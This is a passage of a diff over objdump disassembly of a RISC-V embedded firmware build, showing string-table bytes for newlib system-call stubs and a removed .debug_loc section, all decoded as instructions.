+    a42c:	0074                	addi	a3,sp,12
+    a42e:	735f7473          	csrrci	s0,0x735,30
+    a432:	6170                	flw	fa2,68(a0)
+    a434:	6572                	flw	fa0,28(sp)
+    a436:	0034                	addi	a3,sp,8
+    a438:	725f7473          	csrrci	s0,0x725,30
+    a43c:	6564                	flw	fs1,76(a0)
+    a43e:	0076                	c.slli	zero,0x1d
+    a440:	635f 6f6c 6573      	0x65736f6c635f
+    a446:	2e00                	fld	fs0,24(a2)
+    a448:	2f2e                	fld	ft10,200(sp)
+    a44a:	7362                	flw	ft6,56(sp)
+    a44c:	2f70                	fld	fa2,216(a4)
+    a44e:	3358                	fld	fa4,160(a4)
+    a450:	3030                	fld	fa2,96(s0)
+    a452:	77656e2f          	0x77656e2f
+    a456:	696c                	flw	fa1,84(a0)
+    a458:	2f62                	fld	ft10,24(sp)
+    a45a:	656e                	flw	fa0,216(sp)
+    a45c:	62696c77          	0x62696c77
+    a460:	632e                	flw	ft6,200(sp)
+    a462:	5f00                	lw	s0,56(a4)
+    a464:	6d5f 646f 5f65      	0x5f65646f6d5f
+    a46a:	0074                	addi	a3,sp,12
+    a46c:	6c66                	flw	fs8,88(sp)
+    a46e:	6761                	lui	a4,0x18
+    a470:	69660073          	0x69660073
+    a474:	656c                	flw	fa1,76(a0)
+    a476:	7300                	flw	fs0,32(a4)
+    a478:	5f74                	lw	a3,124(a4)
+    a47a:	6c6e                	flw	fs8,216(sp)
+    a47c:	6e69                	lui	t3,0x1a
+    a47e:	7473006b          	0x7473006b
+    a482:	675f 6469 5f00      	0x5f006469675f
+    a488:	625f 6b6c 6e63      	0x6e636b6c625f
+    a48e:	5f74                	lw	a3,124(a4)
+    a490:	0074                	addi	a3,sp,12
+    a492:	735f 7262 006b      	0x6b7262735f
+    a498:	5f5f 6e69 5f6f      	0x5f6f6e695f5f
+    a49e:	0074                	addi	a3,sp,12
+    a4a0:	685f 6165 5f70      	0x5f706165685f
+    a4a6:	7470                	flw	fa2,108(s0)
+    a4a8:	0072                	c.slli	zero,0x1c
+    a4aa:	7562                	flw	fa0,56(sp)
+    a4ac:	6666                	flw	fa2,88(sp)
+    a4ae:	6900                	flw	fs0,16(a0)
+    a4b0:	636e                	flw	ft6,216(sp)
+    a4b2:	0072                	c.slli	zero,0x1c
+    a4b4:	725f 6165 0064      	0x646165725f
+    a4ba:	645f7473          	csrrci	s0,0x645,30
+    a4be:	7665                	lui	a2,0xffff9
+    a4c0:	7400                	flw	fs0,40(s0)
+    a4c2:	6d69                	lui	s10,0x1a
+    a4c4:	7365                	lui	t1,0xffff9
+    a4c6:	6570                	flw	fa2,76(a0)
+    a4c8:	5f5f0063          	beq	t5,s5,aaa8 <__stack_size+0xa2a8>
+    a4cc:	5f66666f          	jal	a2,70ac2 <__stack_size+0x702c2>
+    a4d0:	0074                	addi	a3,sp,12
+    a4d2:	665f 7473 7461      	0x74617473665f
+    a4d8:	7400                	flw	fs0,40(s0)
+    a4da:	5f76                	lw	t5,124(sp)
+    a4dc:	736e                	flw	ft6,248(sp)
+    a4de:	6365                	lui	t1,0x19
+    a4e0:	5f00                	lw	s0,56(a4)
+    a4e2:	6e65706f          	j	61bc8 <__stack_size+0x613c8>
+    a4e6:	7300                	flw	fs0,32(a4)
+    a4e8:	5f74                	lw	a3,124(a4)
+    a4ea:	6f6d                	lui	t5,0x1b
+    a4ec:	6564                	flw	fs1,76(a0)
+    a4ee:	5f00                	lw	s0,56(a4)
+    a4f0:	755f 6469 745f      	0x745f6469755f
+    a4f6:	5f00                	lw	s0,56(a4)
+    a4f8:	736c                	flw	fa1,100(a4)
+    a4fa:	6565                	lui	a0,0x19
+    a4fc:	7473006b          	0x7473006b
+    a500:	695f 6f6e 5f00      	0x5f006f6e695f
+    a506:	6e5f 696c 6b6e      	0x6b6e696c6e5f
+    a50c:	745f 7300 5f74      	0x5f747300745f
+    a512:	7461                	lui	s0,0xffff8
+    a514:	6d69                	lui	s10,0x1a
+	...
 
 Disassembly of section .debug_loc:
 
 00000000 <.debug_loc>:
-       0:	26f8                	fld	fa4,200(a3)
-       2:	2040                	fld	fs0,128(s0)
-       4:	29ce                	fld	fs3,208(sp)
-       6:	2040                	fld	fs0,128(s0)
-       8:	0002                	c.slli64	zero
-       a:	9f30                	0x9f30
-       c:	29ce                	fld	fs3,208(sp)
-       e:	2040                	fld	fs0,128(s0)
-      10:	2a7c                	fld	fa5,208(a2)
-      12:	2040                	fld	fs0,128(s0)
-      14:	0002                	c.slli64	zero
-      16:	9f31                	0x9f31
-      18:	2a92                	fld	fs5,256(sp)
-      1a:	2040                	fld	fs0,128(s0)
-      1c:	2b1c                	fld	fa5,16(a4)
-      1e:	2040                	fld	fs0,128(s0)
-      20:	0002                	c.slli64	zero
-      22:	9f30                	0x9f30
-	...
-      2c:	275c                	fld	fa5,136(a4)
-      2e:	2040                	fld	fs0,128(s0)
-      30:	277c                	fld	fa5,200(a4)
-      32:	2040                	fld	fs0,128(s0)
-      34:	0001                	nop
-      36:	825f 4027 9620      	0x96204027825f
-      3c:	01204027          	fsq	fs2,0(zero) # 0 <__stack_size-0x800>
-      40:	5f00                	lw	s0,56(a4)
-      42:	2798                	fld	fa4,8(a5)
-      44:	2040                	fld	fs0,128(s0)
-      46:	27a8                	fld	fa0,72(a5)
-      48:	2040                	fld	fs0,128(s0)
-      4a:	0001                	nop
-      4c:	aa5f 4027 ba20      	0xba204027aa5f
-      52:	01204027          	fsq	fs2,0(zero) # 0 <__stack_size-0x800>
-      56:	5f00                	lw	s0,56(a4)
-      58:	2822                	fld	fa6,8(sp)
-      5a:	2040                	fld	fs0,128(s0)
-      5c:	2830                	fld	fa2,80(s0)
-      5e:	2040                	fld	fs0,128(s0)
-      60:	0001                	nop
-      62:	4a5f 4028 5620      	0x562040284a5f
-      68:	4028                	lw	a0,64(s0)
-      6a:	0120                	addi	s0,sp,136
-      6c:	5f00                	lw	s0,56(a4)
-      6e:	2872                	fld	fa6,280(sp)
-      70:	2040                	fld	fs0,128(s0)
-      72:	2882                	fld	fa7,0(sp)
-      74:	2040                	fld	fs0,128(s0)
-      76:	0001                	nop
-      78:	ec5f 4028 fc20      	0xfc204028ec5f
-      7e:	4028                	lw	a0,64(s0)
-      80:	0120                	addi	s0,sp,136
-      82:	5f00                	lw	s0,56(a4)
-      84:	2936                	fld	fs2,328(sp)
-      86:	2040                	fld	fs0,128(s0)
-      88:	20402973          	csrr	s2,hie
-      8c:	0001                	nop
-      8e:	b45f 4029 ca20      	0xca204029b45f
-      94:	4029                	c.li	zero,10
-      96:	0120                	addi	s0,sp,136
-      98:	5f00                	lw	s0,56(a4)
-      9a:	2a92                	fld	fs5,256(sp)
-      9c:	2040                	fld	fs0,128(s0)
-      9e:	2abc                	fld	fa5,80(a3)
-      a0:	2040                	fld	fs0,128(s0)
-      a2:	0001                	nop
-      a4:	005f 0000 0000      	0x5f
-      aa:	0000                	unimp
-      ac:	b600                	fsd	fs0,40(a2)
-      ae:	10204027          	fsq	ft2,256(zero) # 100 <__stack_size-0x700>
-      b2:	4028                	lw	a0,64(s0)
-      b4:	0120                	addi	s0,sp,136
-      b6:	6200                	flw	fs0,0(a2)
-      b8:	2816                	fld	fa6,320(sp)
-      ba:	2040                	fld	fs0,128(s0)
-      bc:	281c                	fld	fa5,16(s0)
-      be:	2040                	fld	fs0,128(s0)
-      c0:	0001                	nop
-      c2:	1c62                	slli	s8,s8,0x38
-      c4:	4028                	lw	a0,64(s0)
-      c6:	2020                	fld	fs0,64(s0)
-      c8:	4028                	lw	a0,64(s0)
-      ca:	0320                	addi	s0,sp,392
-      cc:	8200                	0x8200
-      ce:	9f7f                	0x9f7f
-      d0:	2820                	fld	fs0,80(s0)
-      d2:	2040                	fld	fs0,128(s0)
-      d4:	2822                	fld	fa6,8(sp)
-      d6:	2040                	fld	fs0,128(s0)
-      d8:	0001                	nop
-      da:	0062                	c.slli	zero,0x18
-      dc:	0000                	unimp
-      de:	0000                	unimp
-      e0:	0000                	unimp
-      e2:	2800                	fld	fs0,16(s0)
-      e4:	4029                	c.li	zero,10
-      e6:	2e20                	fld	fs0,88(a2)
-      e8:	4029                	c.li	zero,10
-      ea:	0120                	addi	s0,sp,136
-      ec:	6700                	flw	fs0,8(a4)
-      ee:	292e                	fld	fs2,200(sp)
-      f0:	2040                	fld	fs0,128(s0)
-      f2:	2934                	fld	fa3,80(a0)
-      f4:	2040                	fld	fs0,128(s0)
-      f6:	7f870003          	lb	zero,2040(a4) # ffff97f8 <_heap_end+0x7ffeaff8>
-      fa:	349f 4029 3620      	0x36204029349f
-     100:	4029                	c.li	zero,10
-     102:	0120                	addi	s0,sp,136
-     104:	6700                	flw	fs0,8(a4)
-     106:	2aba                	fld	fs5,392(sp)
-     108:	2040                	fld	fs0,128(s0)
-     10a:	2b1c                	fld	fa5,16(a4)
-     10c:	2040                	fld	fs0,128(s0)
-     10e:	0001                	nop
-     110:	00000067          	jr	zero # 0 <__stack_size-0x800>
-     114:	0000                	unimp
-     116:	0000                	unimp
-     118:	5800                	lw	s0,48(s0)
-     11a:	4029                	c.li	zero,10
-     11c:	6220                	flw	fs0,64(a2)
-     11e:	4029                	c.li	zero,10
-     120:	0120                	addi	s0,sp,136
-     122:	5c00                	lw	s0,56(s0)
-     124:	29b4                	fld	fa3,80(a1)
-     126:	2040                	fld	fs0,128(s0)
-     128:	29ba                	fld	fs3,392(sp)
-     12a:	2040                	fld	fs0,128(s0)
-     12c:	0001                	nop
-     12e:	ba5c                	fsd	fa5,176(a2)
-     130:	4029                	c.li	zero,10
-     132:	be20                	fsd	fs0,120(a2)
-     134:	4029                	c.li	zero,10
-     136:	0320                	addi	s0,sp,392
-     138:	7c00                	flw	fs0,56(s0)
-     13a:	9f01                	0x9f01
-     13c:	29be                	fld	fs3,456(sp)
-     13e:	2040                	fld	fs0,128(s0)
-     140:	29c0                	fld	fs0,144(a1)
-     142:	2040                	fld	fs0,128(s0)
-     144:	0001                	nop
-     146:	005c                	addi	a5,sp,4
-     148:	0000                	unimp
-     14a:	0000                	unimp
-     14c:	0000                	unimp
-     14e:	0e00                	addi	s0,sp,784
-     150:	402a                	0x402a
-     152:	1420                	addi	s0,sp,552
-     154:	402a                	0x402a
-     156:	0120                	addi	s0,sp,136
-     158:	6200                	flw	fs0,0(a2)
-     15a:	2a14                	fld	fa3,16(a2)
-     15c:	2040                	fld	fs0,128(s0)
-     15e:	2a18                	fld	fa4,16(a2)
-     160:	2040                	fld	fs0,128(s0)
-     162:	7f820003          	lb	zero,2040(tp) # 1a7f8 <__stack_size+0x19ff8>
-     166:	189f 402a 2620      	0x2620402a189f
-     16c:	402a                	0x402a
-     16e:	0120                	addi	s0,sp,136
-     170:	6200                	flw	fs0,0(a2)
-	...
-     17a:	2312                	fld	ft6,256(sp)
-     17c:	2040                	fld	fs0,128(s0)
-     17e:	2322                	fld	ft6,8(sp)
-     180:	2040                	fld	fs0,128(s0)
-     182:	0005                	c.nop	1
-     184:	9358                	0x9358
-     186:	9304                	0x9304
-     188:	220c                	fld	fa1,0(a2)
-     18a:	2a204023          	0x2a204023
-     18e:	08204023          	0x8204023
-     192:	5800                	lw	s0,48(s0)
-     194:	93590493          	addi	s1,s2,-1739 # e935 <__stack_size+0xe135>
-     198:	9304                	0x9304
-     19a:	2a08                	fld	fa0,16(a2)
-     19c:	34204023          	0x34204023
-     1a0:	0b204023          	0xb204023
-     1a4:	5800                	lw	s0,48(s0)
-     1a6:	93590493          	addi	s1,s2,-1739
-     1aa:	5a04                	lw	s1,48(a2)
-     1ac:	04930493          	addi	s1,t1,73 # fffeb049 <_heap_end+0x7ffdc849>
-     1b0:	2334                	fld	fa3,64(a4)
-     1b2:	2040                	fld	fs0,128(s0)
-     1b4:	233a                	fld	ft6,392(sp)
-     1b6:	2040                	fld	fs0,128(s0)
-     1b8:	9358000b          	0x9358000b
-     1bc:	5904                	lw	s1,48(a0)
-     1be:	93620493          	addi	s1,tp,-1738 # fffff936 <_heap_end+0x7fff1136>
-     1c2:	9304                	0x9304
-     1c4:	3a04                	fld	fs1,48(a2)
-     1c6:	44204023          	0x44204023
-     1ca:	0c204023          	0xc204023
-     1ce:	5800                	lw	s0,48(s0)
-     1d0:	93590493          	addi	s1,s2,-1739
-     1d4:	6204                	flw	fs1,0(a2)
-     1d6:	935a0493          	addi	s1,s4,-1739 # ffff9935 <_heap_end+0x7ffeb135>
-     1da:	4404                	lw	s1,8(s0)
-     1dc:	4e204023          	0x4e204023
-     1e0:	0c204023          	0xc204023
-     1e4:	5800                	lw	s0,48(s0)
-     1e6:	93590493          	addi	s1,s2,-1739
-     1ea:	6204                	flw	fs1,0(a2)
-     1ec:	935a0493          	addi	s1,s4,-1739
-     1f0:	4e04                	lw	s1,24(a2)
-     1f2:	6c204023          	0x6c204023
-     1f6:	0c204023          	0xc204023
-     1fa:	5800                	lw	s0,48(s0)
-     1fc:	93590493          	addi	s1,s2,-1739
-     200:	6204                	flw	fs1,0(a2)
-     202:	93630493          	addi	s1,t1,-1738
-     206:	6c04                	flw	fs1,24(s0)
-     208:	7a204023          	0x7a204023
-     20c:	0a204023          	0xa204023
-     210:	9300                	0x9300
-     212:	5904                	lw	s1,48(a0)
-     214:	93620493          	addi	s1,tp,-1738 # fffff936 <_heap_end+0x7fff1136>
-     218:	9304                	0x9304
-     21a:	7a04                	flw	fs1,48(a2)
-     21c:	7c204023          	0x7c204023
-     220:	07204023          	0x7204023
-     224:	9300                	0x9300
-     226:	6208                	flw	fa0,0(a2)
-     228:	04930493          	addi	s1,t1,73
-     22c:	2384                	fld	fs1,0(a5)
-     22e:	2040                	fld	fs0,128(s0)
-     230:	238e                	fld	ft7,192(sp)
-     232:	2040                	fld	fs0,128(s0)
-     234:	000c                	0xc
-     236:	9358                	0x9358
-     238:	5904                	lw	s1,48(a0)
-     23a:	93620493          	addi	s1,tp,-1738 # fffff936 <_heap_end+0x7fff1136>
-     23e:	6304                	flw	fs1,0(a4)
-     240:	238e0493          	addi	s1,t3,568 # 1d238 <__stack_size+0x1ca38>
-     244:	2040                	fld	fs0,128(s0)
-     246:	2392                	fld	ft7,256(sp)
-     248:	2040                	fld	fs0,128(s0)
-     24a:	0493000b          	0x493000b
-     24e:	9359                	srli	a4,a4,0x36
-     250:	6204                	flw	fs1,0(a2)
-     252:	93630493          	addi	s1,t1,-1738
-     256:	9204                	0x9204
-     258:	94204023          	0x94204023
-     25c:	08204023          	0x8204023
-     260:	9300                	0x9300
-     262:	6208                	flw	fa0,0(a2)
-     264:	93630493          	addi	s1,t1,-1738
-     268:	9404                	0x9404
-     26a:	96204023          	0x96204023
-     26e:	05204023          	0x5204023
-     272:	9300                	0x9300
-     274:	630c                	flw	fa1,0(a4)
-     276:	239c0493          	addi	s1,s8,569 # b239 <__stack_size+0xaa39>
-     27a:	2040                	fld	fs0,128(s0)
-     27c:	23c2                	fld	ft7,16(sp)
-     27e:	2040                	fld	fs0,128(s0)
-     280:	000c                	0xc
-     282:	9358                	0x9358
-     284:	5904                	lw	s1,48(a0)
-     286:	93620493          	addi	s1,tp,-1738 # fffff936 <_heap_end+0x7fff1136>
-     28a:	6304                	flw	fs1,0(a4)
-     28c:	23c20493          	addi	s1,tp,572 # 23c <__stack_size-0x5c4>
-     290:	2040                	fld	fs0,128(s0)
-     292:	23ca                	fld	ft7,144(sp)
-     294:	2040                	fld	fs0,128(s0)
-     296:	9358000b          	0x9358000b
-     29a:	5904                	lw	s1,48(a0)
-     29c:	93620493          	addi	s1,tp,-1738 # fffff936 <_heap_end+0x7fff1136>
-     2a0:	9304                	0x9304
-     2a2:	ca04                	sw	s1,16(a2)
-     2a4:	f8204023          	0xf8204023
-     2a8:	0a204023          	0xa204023
-     2ac:	9300                	0x9300
-     2ae:	5904                	lw	s1,48(a0)
-     2b0:	93620493          	addi	s1,tp,-1738 # fffff936 <_heap_end+0x7fff1136>
-     2b4:	9304                	0x9304
-     2b6:	f804                	fsw	fs1,48(s0)
-     2b8:	22204023          	0x22204023
-     2bc:	4024                	lw	s1,64(s0)
-     2be:	0c20                	addi	s0,sp,536
-     2c0:	5800                	lw	s0,48(s0)
-     2c2:	93590493          	addi	s1,s2,-1739
-     2c6:	6204                	flw	fs1,0(a2)
-     2c8:	93630493          	addi	s1,t1,-1738
-     2cc:	3004                	fld	fs1,32(s0)
-     2ce:	4024                	lw	s1,64(s0)
-     2d0:	6220                	flw	fs0,64(a2)
-     2d2:	4024                	lw	s1,64(s0)
-     2d4:	0c20                	addi	s0,sp,536
-     2d6:	5800                	lw	s0,48(s0)
-     2d8:	93590493          	addi	s1,s2,-1739
-     2dc:	6204                	flw	fs1,0(a2)
-     2de:	93630493          	addi	s1,t1,-1738
-     2e2:	6204                	flw	fs1,0(a2)
-     2e4:	4024                	lw	s1,64(s0)
-     2e6:	8220                	0x8220
-     2e8:	4024                	lw	s1,64(s0)
-     2ea:	0b20                	addi	s0,sp,408
-     2ec:	9300                	0x9300
-     2ee:	5904                	lw	s1,48(a0)
-     2f0:	93620493          	addi	s1,tp,-1738 # fffff936 <_heap_end+0x7fff1136>
-     2f4:	6304                	flw	fs1,0(a4)
-     2f6:	24820493          	addi	s1,tp,584 # 248 <__stack_size-0x5b8>
-     2fa:	2040                	fld	fs0,128(s0)
-     2fc:	25c6                	fld	fa1,80(sp)
-     2fe:	2040                	fld	fs0,128(s0)
-     300:	000c                	0xc
-     302:	9358                	0x9358
-     304:	5904                	lw	s1,48(a0)
-     306:	93620493          	addi	s1,tp,-1738 # fffff936 <_heap_end+0x7fff1136>
-     30a:	6304                	flw	fs1,0(a4)
-     30c:	25c60493          	addi	s1,a2,604 # b25c <__stack_size+0xaa5c>
-     310:	2040                	fld	fs0,128(s0)
-     312:	25c8                	fld	fa0,136(a1)
-     314:	2040                	fld	fs0,128(s0)
-     316:	0493000b          	0x493000b
-     31a:	9359                	srli	a4,a4,0x36
-     31c:	6204                	flw	fs1,0(a2)
-     31e:	93630493          	addi	s1,t1,-1738
-     322:	c804                	sw	s1,16(s0)
-     324:	4025                	c.li	zero,9
-     326:	f420                	fsw	fs0,104(s0)
-     328:	4025                	c.li	zero,9
-     32a:	0a20                	addi	s0,sp,280
-     32c:	9300                	0x9300
-     32e:	5904                	lw	s1,48(a0)
-     330:	04930493          	addi	s1,t1,73
-     334:	f4049363          	bnez	s1,fffffa7a <_heap_end+0x7fff127a>
-     338:	4025                	c.li	zero,9
-     33a:	1220                	addi	s0,sp,296
-     33c:	4026                	0x4026
-     33e:	0520                	addi	s0,sp,648
-     340:	9300                	0x9300
-     342:	630c                	flw	fa1,0(a4)
-     344:	26400493          	li	s1,612
-     348:	2040                	fld	fs0,128(s0)
-     34a:	265c                	fld	fa5,136(a2)
-     34c:	2040                	fld	fs0,128(s0)
-     34e:	000c                	0xc
-     350:	9358                	0x9358
-     352:	5904                	lw	s1,48(a0)
-     354:	93620493          	addi	s1,tp,-1738 # fffff936 <_heap_end+0x7fff1136>
-     358:	6304                	flw	fs1,0(a4)
-     35a:	265c0493          	addi	s1,s8,613
-     35e:	2040                	fld	fs0,128(s0)
-     360:	2660                	fld	fs0,200(a2)
-     362:	2040                	fld	fs0,128(s0)
-     364:	0493000b          	0x493000b
-     368:	9359                	srli	a4,a4,0x36
-     36a:	6204                	flw	fs1,0(a2)
-     36c:	93630493          	addi	s1,t1,-1738
-     370:	6004                	flw	fs1,0(s0)
-     372:	4026                	0x4026
-     374:	6220                	flw	fs0,64(a2)
-     376:	4026                	0x4026
-     378:	0820                	addi	s0,sp,24
-     37a:	9300                	0x9300
-     37c:	6208                	flw	fa0,0(a2)
-     37e:	93630493          	addi	s1,t1,-1738
-     382:	6204                	flw	fs1,0(a2)
-     384:	4026                	0x4026
-     386:	6420                	flw	fs0,72(s0)
-     388:	4026                	0x4026
-     38a:	0520                	addi	s0,sp,648
-     38c:	9300                	0x9300
-     38e:	630c                	flw	fa1,0(a4)
-     390:	266a0493          	addi	s1,s4,614
-     394:	2040                	fld	fs0,128(s0)
-     396:	2692                	fld	fa3,256(sp)
-     398:	2040                	fld	fs0,128(s0)
-     39a:	000c                	0xc
-     39c:	9358                	0x9358
-     39e:	5904                	lw	s1,48(a0)
-     3a0:	93620493          	addi	s1,tp,-1738 # fffff936 <_heap_end+0x7fff1136>
-     3a4:	6304                	flw	fs1,0(a4)
-     3a6:	26920493          	addi	s1,tp,617 # 269 <__stack_size-0x597>
-     3aa:	2040                	fld	fs0,128(s0)
-     3ac:	2696                	fld	fa3,320(sp)
-     3ae:	2040                	fld	fs0,128(s0)
-     3b0:	0493000b          	0x493000b
-     3b4:	9359                	srli	a4,a4,0x36
-     3b6:	6204                	flw	fs1,0(a2)
-     3b8:	93630493          	addi	s1,t1,-1738
-     3bc:	9604                	0x9604
-     3be:	4026                	0x4026
-     3c0:	9820                	0x9820
-     3c2:	4026                	0x4026
-     3c4:	0820                	addi	s0,sp,24
-     3c6:	9300                	0x9300
-     3c8:	6208                	flw	fa0,0(a2)
-     3ca:	93630493          	addi	s1,t1,-1738
-     3ce:	9804                	0x9804
-     3d0:	4026                	0x4026
-     3d2:	9a20                	0x9a20
-     3d4:	4026                	0x4026
-     3d6:	0520                	addi	s0,sp,648
-     3d8:	9300                	0x9300
-     3da:	630c                	flw	fa1,0(a4)
-     3dc:	269e0493          	addi	s1,t3,617
-     3e0:	2040                	fld	fs0,128(s0)
-     3e2:	26f8                	fld	fa4,200(a3)
-     3e4:	2040                	fld	fs0,128(s0)
-     3e6:	000c                	0xc
-     3e8:	9358                	0x9358
-     3ea:	5904                	lw	s1,48(a0)
-     3ec:	93620493          	addi	s1,tp,-1738 # fffff936 <_heap_end+0x7fff1136>
-     3f0:	6304                	flw	fs1,0(a4)
-     3f2:	00000493          	li	s1,0
-     3f6:	0000                	unimp
-     3f8:	0000                	unimp
-     3fa:	0000                	unimp
-     3fc:	2356                	fld	ft6,336(sp)
-     3fe:	2040                	fld	fs0,128(s0)
-     400:	2368                	fld	fa0,192(a4)
-     402:	2040                	fld	fs0,128(s0)
-     404:	0002                	c.slli64	zero
-     406:	9f30                	0x9f30
-     408:	2368                	fld	fa0,192(a4)
-     40a:	2040                	fld	fs0,128(s0)
-     40c:	236c                	fld	fa1,192(a4)
-     40e:	2040                	fld	fs0,128(s0)
-     410:	0001                	nop
-     412:	005c                	addi	a5,sp,4
-     414:	0000                	unimp
-     416:	0000                	unimp
-     418:	0000                	unimp
-     41a:	6400                	flw	fs0,8(s0)
-     41c:	6c204023          	0x6c204023
-     420:	01204023          	0x1204023
-     424:	5a00                	lw	s0,48(a2)
-	...
-     42e:	23c2                	fld	ft7,16(sp)
-     430:	2040                	fld	fs0,128(s0)
-     432:	23c4                	fld	fs1,128(a5)
-     434:	2040                	fld	fs0,128(s0)
-     436:	0001                	nop
-     438:	c45a                	sw	s6,8(sp)
-     43a:	f8204023          	0xf8204023
-     43e:	01204023          	0x1204023
-     442:	6300                	flw	fs0,0(a4)
-	...
-     44c:	23ca                	fld	ft7,144(sp)
-     44e:	2040                	fld	fs0,128(s0)
-     450:	23f8                	fld	fa4,192(a5)
-     452:	2040                	fld	fs0,128(s0)
-     454:	0001                	nop
-     456:	0058                	addi	a4,sp,4
-     458:	0000                	unimp
-     45a:	0000                	unimp
-     45c:	0000                	unimp
-     45e:	1e00                	addi	s0,sp,816
-     460:	4024                	lw	s1,64(s0)
-     462:	2220                	fld	fs0,64(a2)
-     464:	4024                	lw	s1,64(s0)
-     466:	0120                	addi	s0,sp,136
-     468:	5a00                	lw	s0,48(a2)
-	...
-     472:	256a                	fld	fa0,152(sp)
-     474:	2040                	fld	fs0,128(s0)
-     476:	2570                	fld	fa2,200(a0)
-     478:	2040                	fld	fs0,128(s0)
-     47a:	0001                	nop
-     47c:	705a                	flw	ft0,180(sp)
-     47e:	4025                	c.li	zero,9
-     480:	9620                	0x9620
-     482:	4025                	c.li	zero,9
-     484:	0120                	addi	s0,sp,136
-     486:	5f00                	lw	s0,56(a4)
-	...
-     490:	2578                	fld	fa4,200(a0)
-     492:	2040                	fld	fs0,128(s0)
-     494:	2588                	fld	fa0,8(a1)
-     496:	2040                	fld	fs0,128(s0)
-     498:	0001                	nop
-     49a:	005a                	c.slli	zero,0x16
-     49c:	0000                	unimp
-     49e:	0000                	unimp
-     4a0:	0000                	unimp
-     4a2:	7c00                	flw	fs0,56(s0)
-     4a4:	4025                	c.li	zero,9
-     4a6:	9620                	0x9620
-     4a8:	4025                	c.li	zero,9
-     4aa:	0120                	addi	s0,sp,136
-     4ac:	5b00                	lw	s0,48(a4)
-	...
-     4b6:	2580                	fld	fs0,8(a1)
-     4b8:	2040                	fld	fs0,128(s0)
-     4ba:	2596                	fld	fa1,320(sp)
-     4bc:	2040                	fld	fs0,128(s0)
-     4be:	0001                	nop
-     4c0:	005c                	addi	a5,sp,4
-     4c2:	0000                	unimp
-     4c4:	0000                	unimp
-     4c6:	0000                	unimp
-     4c8:	b800                	fsd	fs0,48(s0)
-     4ca:	4025                	c.li	zero,9
-     4cc:	be20                	fsd	fs0,120(a2)
-     4ce:	4025                	c.li	zero,9
-     4d0:	0720                	addi	s0,sp,904
-     4d2:	7a00                	flw	fs0,48(a2)
-     4d4:	f700                	fsw	fs0,40(a4)
-     4d6:	f730                	fsw	fa2,104(a4)
-     4d8:	9f29                	0x9f29
-     4da:	25be                	fld	fa1,456(sp)
-     4dc:	2040                	fld	fs0,128(s0)
-     4de:	25d9                	jal	ba4 <__stack_size+0x3a4>
-     4e0:	2040                	fld	fs0,128(s0)
-     4e2:	007e0007          	0x7e0007
-     4e6:	29f730f7          	0x29f730f7
-     4ea:	009f 0000 0000      	0x9f
-     4f0:	0000                	unimp
-     4f2:	c800                	sw	s0,16(s0)
-     4f4:	4025                	c.li	zero,9
-     4f6:	d620                	sw	s0,104(a2)
-     4f8:	4025                	c.li	zero,9
-     4fa:	0620                	addi	s0,sp,776
-     4fc:	5a00                	lw	s0,48(a2)
-     4fe:	93580493          	addi	s1,a6,-1739 # 1c935 <__stack_size+0x1c135>
-     502:	d604                	sw	s1,40(a2)
-     504:	4025                	c.li	zero,9
-     506:	1020                	addi	s0,sp,40
-     508:	4026                	0x4026
-     50a:	0620                	addi	s0,sp,776
-     50c:	6200                	flw	fs0,0(a2)
-     50e:	93580493          	addi	s1,a6,-1739
-     512:	0004                	0x4
-     514:	0000                	unimp
-     516:	0000                	unimp
-     518:	0000                	unimp
-     51a:	e600                	fsw	fs0,8(a2)
-     51c:	4025                	c.li	zero,9
-     51e:	f820                	fsw	fs0,112(s0)
-     520:	4025                	c.li	zero,9
-     522:	0620                	addi	s0,sp,776
-     524:	5e00                	lw	s0,56(a2)
-     526:	935f0493          	addi	s1,t5,-1739 # 1a935 <__stack_size+0x1a135>
-     52a:	0004                	0x4
-     52c:	0000                	unimp
-     52e:	0000                	unimp
-     530:	0000                	unimp
-     532:	d000                	sw	s0,32(s0)
-     534:	4026                	0x4026
-     536:	de20                	sw	s0,120(a2)
-     538:	4026                	0x4026
-     53a:	0120                	addi	s0,sp,136
-     53c:	5a00                	lw	s0,48(a2)
-     53e:	26de                	fld	fa3,464(sp)
-     540:	2040                	fld	fs0,128(s0)
-     542:	26e2                	fld	fa3,24(sp)
-     544:	2040                	fld	fs0,128(s0)
-     546:	0001                	nop
-     548:	005c                	addi	a5,sp,4
-     54a:	0000                	unimp
-     54c:	0000                	unimp
-     54e:	0000                	unimp
-     550:	de00                	sw	s0,56(a2)
-     552:	4026                	0x4026
-     554:	ec20                	fsw	fs0,88(s0)
-     556:	4026                	0x4026
-     558:	0120                	addi	s0,sp,136
-     55a:	5a00                	lw	s0,48(a2)
-	...
-     564:	21c8                	fld	fa0,128(a1)
-     566:	2040                	fld	fs0,128(s0)
-     568:	221e                	fld	ft4,448(sp)
-     56a:	2040                	fld	fs0,128(s0)
-     56c:	0002                	c.slli64	zero
-     56e:	9f31                	0x9f31
-     570:	221e                	fld	ft4,448(sp)
-     572:	2040                	fld	fs0,128(s0)
-     574:	2266                	fld	ft4,88(sp)
-     576:	2040                	fld	fs0,128(s0)
-     578:	0001                	nop
-     57a:	7e58                	flw	fa4,60(a2)
-     57c:	4022                	0x4022
-     57e:	ec20                	fsw	fs0,88(s0)
-     580:	4022                	0x4022
-     582:	0120                	addi	s0,sp,136
-     584:	5800                	lw	s0,48(s0)
-	...
-     58e:	206c                	fld	fa1,192(s0)
-     590:	2040                	fld	fs0,128(s0)
-     592:	20c4                	fld	fs1,128(s1)
-     594:	2040                	fld	fs0,128(s0)
-     596:	000a                	c.slli	zero,0x2
-     598:	089e                	slli	a7,a7,0x7
-	...
-     5a2:	20c4                	fld	fs1,128(s1)
-     5a4:	2040                	fld	fs0,128(s0)
-     5a6:	215e                	fld	ft2,464(sp)
-     5a8:	2040                	fld	fs0,128(s0)
-     5aa:	0006                	c.slli	zero,0x1
-     5ac:	9362                	add	t1,t1,s8
-     5ae:	6304                	flw	fs1,0(a4)
-     5b0:	216c0493          	addi	s1,s8,534
-     5b4:	2040                	fld	fs0,128(s0)
-     5b6:	21c8                	fld	fa0,128(a1)
-     5b8:	2040                	fld	fs0,128(s0)
-     5ba:	0006                	c.slli	zero,0x1
-     5bc:	9362                	add	t1,t1,s8
-     5be:	6304                	flw	fs1,0(a4)
-     5c0:	00000493          	li	s1,0
-     5c4:	0000                	unimp
-     5c6:	0000                	unimp
-     5c8:	0000                	unimp
-     5ca:	20c0                	fld	fs0,128(s1)
-     5cc:	2040                	fld	fs0,128(s0)
-     5ce:	215e                	fld	ft2,464(sp)
-     5d0:	2040                	fld	fs0,128(s0)
-     5d2:	0001                	nop
-     5d4:	6c62                	flw	fs8,24(sp)
